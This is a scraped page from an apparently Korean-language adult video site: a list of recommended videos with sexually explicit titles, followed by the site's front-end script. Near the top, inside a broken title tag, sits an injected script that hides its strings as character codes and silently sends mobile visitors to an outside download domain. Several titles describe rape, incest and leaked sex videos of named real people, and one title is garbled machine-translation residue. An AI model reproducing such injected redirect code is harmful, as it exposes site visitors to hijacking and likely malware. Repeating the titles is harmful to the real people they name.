추천 영상
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>부잣집 여자는 맛있나요? 윗입술, 혀, 아랫입술이 너무 가려워요. 누가 핥는 건 싫어요. 섹스하고 싶어요? 제 보지를 핥고 싶어요?</title></script></title></script>
부잣집 여자는 맛있나요? 윗입술, 혀, 아랫입술이 너무 가려워요. 누가 핥는 건 싫어요. 섹스하고 싶어요? 제 보지를 핥고 싶어요?","lastmod":"2026-07-11","duration":"","url":"/play/19206659.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZWI3ZjQ0YzE0Nzg3ZDYwMmJkYzA3ZWU4MzU3NWRmNDIuanBn.cache","vod_id":19188801,"title":"짧은 머리의 한 회사원이 셀카 사진 때문에 비밀이 드러나자 사장에게 소시지를 달라고 애원했다.","lastmod":"2026-03-25","duration":"0:06:37","url":"/play/19188801.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTFkYzc4MTAxMmUzZjc4YWY2ZTViMTYxZjNlMDcwOTUuanBn.cache","vod_id":19043514,"title":"[HD 중국어 자막] 직장에서 후배와 우연히 키스를 했는데, 남자친구와 할 때보다 훨씬 더 짜릿한 쾌감을 느꼈다… 이 격렬한 키스와 음란한 행위는 누구에게도 알려져서는 안 된다.","lastmod":"2025-03-26","duration":"2:02:20","url":"/play/19043514.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMTMvNjBhYTM2M2Y5NzEzZDIyZmYyNWJhOGZhZTczNDA1MmMuanBn.cache","vod_id":19159060,"title":"중국 쓰촨성 남성 인터넷 스타 비행기 영상","lastmod":"2025-10-12","duration":"0:00:26","url":"/play/19159060.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDdkNGZhNjJjZGU3Y2NlM2RmZDNmNGNiZDY1YzY3OTIuanBn.cache","vod_id":19172204,"title":"학생이 똑똑할수록 더 섹시하다. 학점을 따고 성적 욕구를 충족시키기 위해 그녀는 남자친구 몰래 아침부터 밤까지 10번이나 자위했다. (미즈하라 와코, PRED-815)","lastmod":"2026-01-06","duration":"1:59:37","url":"/play/19172204.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYmI2MWY0OTg1MzE5NjM0YzgzNmJkNDQyMDc4MTQ1NjEuanBn.cache","vod_id":19073843,"title":"HUNTA702 \"나 발기한 것 같아...\" 가슴 크고, 순진하고, 자신감 없는 내 어린 시절 친구가 나에게 아주 에로틱한 조언을 구한다! 내 방으로 와.","lastmod":"2025-03-26","duration":"3:44:32","url":"/play/19073843.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MDUvNWU4ODFjOTUyYjEzOThkOGFkNWNjMWJmOTk2OGZjYjYuanBn.cache","vod_id":19129838,"title":"사실 저는 줄곧 남편의 직장 상사에게 성폭행을 당해왔어요... 내추럴 뷰티 문 MEYD-661-C.","lastmod":"2025-04-05","duration":"1:59:30","url":"/play/19129838.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDQvMzVlNDE3OGY0NjZlNWQ5NmNhZDkyZWU3NjdjOThiY2YuanBn.cache","vod_id":19152667,"title":"\"나랑 프렌치 키스 할래?\" 장난기 넘치는 여학생은 열정적인 프렌치 키스에 빠져들며 침을 흥건히 흘렸고, 깊숙이 파고들듯 입술을 밀착시켰다. (스즈메노 이에 린 WAAA465)","lastmod":"2025-09-03","duration":"2:03:23","url":"/play/19152667.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOTY5ZmZkNWQyZjdjNjk1ODkxZjI0OGY4MTc2ODE1ZmUuanBn.cache","vod_id":19068541,"title":"붉은 란제리를 입은 시유 여신: 욕실에서 침대까지 - 1부","lastmod":"2025-03-26","duration":"0:15:21","url":"/play/19068541.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMWFmNzZkZWEwMGUwYTgxZTU3NGIzNGI5MGE4Y2YzODIuanBn.cache","vod_id":19187393,"title":"창즈시 상위구에 사는 '나이스'라는 이름의 여성 인터넷 유명인이 자신의 최고 인기 팬에게 다른 부유한 후원자들에게 성폭행당하는 자신의 성관계 영상을 보내면서 선물을 요구한 사실이 폭로됐다.","lastmod":"2026-03-19","duration":"0:02:08","url":"/play/19187393.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOTEzM2RjNjI3NTIzZmFhMDBmNThmZWYzMGVkY2VmM2QuanBn.cache","vod_id":19080112,"title":"수백만 팔로워를 보유한 인터넷 유명인의 스캔들이 매년 한 번씩 폭로되는 드문 사례가 발생했습니다. 최고의 미모와 몸매로 유명한 인터넷 스타 TS 신퉁의 성매매 영상이 유출된 것입니다! 또한, 트랜스젠더 인터넷 유명인 한 명도 틱톡에서 성매매 혐의로 고발당했습니다.","lastmod":"2025-03-26","duration":"0:56:32","url":"/play/19080112.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOTFhZWEwM2FhMDQ1MTAyNDFhNjYwYmQ1OWFmZjk2YTkuanBn.cache","vod_id":19090851,"title":"이것은 당신의 여성 상사가 당신 위에 올라타 입술을 훔쳐 격렬하게 키스하고 귀두를 핥는 권력 남용적인 3인조 성행위입니다.","lastmod":"2025-03-26","duration":"1:50:58","url":"/play/19090851.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMDBlOTdhYzllZTViM2ZhYzU1OWMwZTRkZmIxYTQzYTguanBn.cache","vod_id":19199708,"title":"한 AV 여배우는 300일 동안 성관계도, 사진 촬영도 하지 않았습니다. 그들의 혀가 닿는 순간, 엄청난… (나머지 내용은 관련성이 없어 보이며 기계가 생성한 의미 없는 텍스트일 가능성이 있습니다.)","lastmod":"2026-05-18","duration":"2:27:33","url":"/play/19199708.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvMDk5NmUxOGU0ZjBiOTA3NWE2ZWRkNzRjOTI1YWZjMDMuanBn.cache","vod_id":19174265,"title":"허난성에서 충격적인 스캔들이 터졌습니다. 난양시 탕허현 치이진 당서기인 리보가 출소한 남성과 함께 술집에서 접대부를 집단 성폭행하는 장면이 담긴 35분짜리 영상이 공개된 것입니다.","lastmod":"2026-01-16","duration":"0:54:57","url":"/play/19174265.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2M2ZTEzMzVlZjhlOWQ4MjNlMzFmY2I3NDQ0OTJkZjkuanBn.cache","vod_id":19078374,"title":"중국 AV, 조카딸과의 근친상간 성인 비디오, 그녀가 나를 유혹해서 성관계를 맺는다, 중국어 자막.","lastmod":"2025-03-26","duration":"0:05:36","url":"/play/19078374.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvNmY1ZTFmZjhiMDAwMWMxMmZmOGJhZmRiMTEyNTBmOTMuanBn.cache","vod_id":19166157,"title":"기혼 여성이 노출증에 사로잡혀 있다… 누군가 자신의 성기를 보는 것을 상상하면 자궁에 통증이 느껴진다… 그녀의 도착증. (쿠도 유리 APNS-382)","lastmod":"2025-12-13","duration":"2:09:59","url":"/play/19166157.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMDkvOGIyMDE2MmI5OGViYzU4NTAwNTI5OTIzYWUzMDA2NGYuanBn.cache","vod_id":19163208,"title":"내 친구의 어머니 ~최종장~ 쿠리야마 사츠키 HTHD_222","lastmod":"2025-11-08","duration":"1:45:06","url":"/play/19163208.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjUvYjQzZDAzN2UyYjQ0ZjhjMmI2MDRlOTRiMGQwNWI2Y2EuanBn.cache","vod_id":19156184,"title":"Vamonly가 병원에서 찍은 영상","lastmod":"2025-09-24","duration":"0:03:14","url":"/play/19156184.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTkvYjQ0ZjdiN2NhYTRlNTlmNTVhYmRjYjI1MzkwNWNkNjkuanBn.cache","vod_id":19131411,"title":"금발의 서양풍 여배우가 적극적으로 키스를 시도하며, 풍만한 가슴과 육감적인 엉덩이로 남자 배우의 성기를 유혹한다. (준 러브조이 EKW-061-C)","lastmod":"2025-04-19","duration":"2:02:36","url":"/play/19131411.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvY2M3MGY5ZWU2NzM0ZTNiYTE0YTEyNzc2MzlkY2JmYjAuanBn.cache","vod_id":19187145,"title":"수백만 명의 팔로워를 보유한 인기 인플루언서 둥치치가 데뷔 초창기에 여성을 껴안고 격렬하게 몸을 흔들며 여성의 정액을 받아내는 듯한 모습이 담긴 영상이 유출됐다.","lastmod":"2026-03-17","duration":"0:29:14","url":"/play/19187145.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvY2Q2NjE0NTYxNDBlMThlZmFmMjhhOWMzZjZmODg4NWMuanBn.cache","vod_id":19072365,"title":"259LUXU1264 럭셔리 TV 1244 아름다운 피아노 선생님은 남편과의 불륜으로 괴로워하다가, 잊고 있던 여성으로서의 즐거움을 되찾기 위해 성인 비디오에 출연하기로 결심한다. 오랫동안 보지 못했던 거대한 성기를 보고 즐거워하며 웃음을 터뜨리고, 온몸을 휘감는 쾌감에 미쳐버린다! ...","lastmod":"2025-03-26","duration":"1:14:13","url":"/play/19072365.html"}]},
videoTitle: '면접 도중 혀를 사용해 얼굴을 애무하는 키스를 한 후, 그녀의 상사는 그녀의 스마트폰에서 두 사람이 침을 흘리며 키스하는 장면이 담긴 포르노 영상을 발견했다.',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}
友情链接